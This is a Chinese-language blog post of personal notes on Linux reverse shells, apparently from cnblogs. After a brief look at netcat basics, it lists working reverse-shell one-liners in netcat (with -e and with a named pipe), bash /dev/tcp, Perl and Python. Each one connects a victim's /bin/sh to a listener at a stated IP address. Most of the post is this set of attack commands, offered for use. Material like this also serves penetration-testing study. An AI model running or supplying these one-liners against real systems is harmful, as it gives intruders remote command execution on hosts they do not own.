zoukankan      html  css  js  c++  java
  • Linux下反弹shell笔记

    Linux下反弹shell笔记

    0x00 NC命令详解


    在介绍如何反弹shell之前,先了解相关知识要点。

    nc全称为netcat,所做的就是在两台电脑之间建立链接,并返回两个数据流

    • 可运行在TCP或者UDP模式,添加参数 —u 则调整为udP,默认为tcp
    • -v 参数,详细输出
    • n参数高数netcat不要DNS反向查询IP的域名
    • z参数,连接成功后立即关闭连接

    $ nc -v 172.31.100.7 21
    netcat 命令会连接开放端口21并且打印运行在这个端口上服务的banner信息。

    使用nc聊天

    $nc -l 1567
    netcat 命令在1567端口启动了一个tcp 服务器,所有的标准输出和输入会输出到该端口。输出和输入都在此shell中展示。

    $nc 172.31.100.7 1567
    不管你在机器B上键入什么都会出现在机器A上。

    实测好像并不可以...

    nc进行文件传输

    Server:
    $nc -l 1567 < file.txt

    Client:
    $nc -n 172.31.100.7 1567 > file.txt

    好像也不行...
    不管这些还是直接来反弹shell吧

    0x01 NC反弹shell


    正向反弹shell

    服务器端

    nc -lvvp 7777 -e /bin/bash

    本地

    nc 192.168.242.129 7777

    即可获得服务器端的shell

    反向反弹shell

    服务端

    nc -e /bin/bash 192.168.242.1 7777

    本地

    nc -lvvp 7777

    不使用-e参数反弹

    使用管道
    服务端

    mknod /tmp/backpipe p
    /bin/sh 0</tmp/backpipe | nc 192.168.242.1 7777 1>/tmp/backpipe

    攻击端

    nc -lnvp 7777

    mknod需要root用户,但是也可以通过mkfifo /tmp/backpipe也可以创建一个管道。

    0x02 Bash反弹


    服务端:

    bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'

    或者

    bash -i >& /dev/tcp/192.168.242.1/7777 0>&1

    攻击端:

    nc -lvvp 7777

    0x03 Perl反弹shell


    服务端:

    perl -e 'use Socket;$i="192.168.242.1";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

    或者

    perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.242.1:7777");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

    0x04 Python


    python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("120.27.32.227",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    

    0x05 最后


    个人觉得这几种应该就够用了,至于其他环境,再看具体情况吧,有一些环境服务器不一定有的

  • 相关阅读:
    C++中头文件包含的问题
    linux环境变量
    win32进程和线程
    断言
    win32中的常用类型转换
    可变形参
    #define
    CString与char*互相转化
    extern
    手机CPU和GPU厂商
  • 原文地址:https://www.cnblogs.com/deen-/p/7237327.html
Copyright © 2011-2022 走看看